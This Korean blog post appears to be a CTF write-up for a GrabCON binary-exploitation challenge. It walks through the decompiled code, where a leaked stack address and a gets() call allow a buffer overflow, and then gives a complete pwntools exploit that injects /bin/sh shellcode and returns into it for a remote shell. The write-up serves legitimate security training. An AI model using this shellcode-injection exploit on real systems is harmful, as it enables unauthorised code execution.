2021-09-09 · 1

[시스템해킹] GrabCON Pwn CTF? write up

securityctf

이 글은 작성된 지 2년이 넘었어요. 내용이 오래됐을 수 있어요.

GrabCON CTF


마지막 문제입니다.

CODE

아이다로 키면 메인이 존재하지 않습니다. start부터 찾아 나갑니다.

void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
  int v2; // esi
  int v3; // [esp-4h] [ebp-4h] BYREF
  char *retaddr; // [esp+0h] [ebp+0h] BYREF

  v2 = v3;
  v3 = a1;
  __libc_start_main(sub_1357, v2, &retaddr, sub_13B0, sub_1420, a2, &v3);
  __halt();
}
int __cdecl sub_1357(int a1)
{
  setvbuf(stdout, &dword_0 + 2, 0, 0);
  sub_12BA(&a1);
  sub_130D();
  return 0;
}

찾았습니다!! sub_1357이 main함수인 것 같습니다.

char *sub_130D()
{
  char s[294]; // [esp+Eh] [ebp-12Ah] BYREF

  printf("eat some %p!\n", s);
  return gets(s);
}

NX bit가 안걸려 있네요? 문제들이 마지막 문제 빼고는 전부 쉬운 거 같습니다. PIE가 걸려있긴 하지만 NX bit가 꺼져있으면 우리는 shellcode를 사용하면 됩니다. 위 sub_103D에서 취약점이 발생합니다. 코드는 아래와 같습니다.

소스코드

더보기

from pwn import *

p = remote("35.246.42.94", 1337)
e = ELF("./pwn2")

p.recvuntil('some ')
buffer = int(p.recvline()[:10], 16)
log.info(f"buffer : {hex(buffer)}")

offset = 302
shellcode = b'\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'

payload = b''
payload += shellcode
payload += b'A'*(277)
payload += p32(buffer)

pause()
p.send(payload)
p.interactive()

NX bit가 안걸려있으면 공짜 문제이지요~

[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)

 [[시스템해킹] Buffer Overflow(BOF)

BUFFER OVERFLOW BOF 설정되어 있는 버퍼의 크기보다 크게 입력을 받을 수 있을 때 생기는 취약점입니다. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..

— nabomhalang.tistory.com


원문: tistory — 2021-09-09 발행, 이 블로그로 이전됨.

댓글

댓글을 삭제할까요?

관련 글

[시스템해킹] GrabCON Pwn CTF? write up · 나봄하랑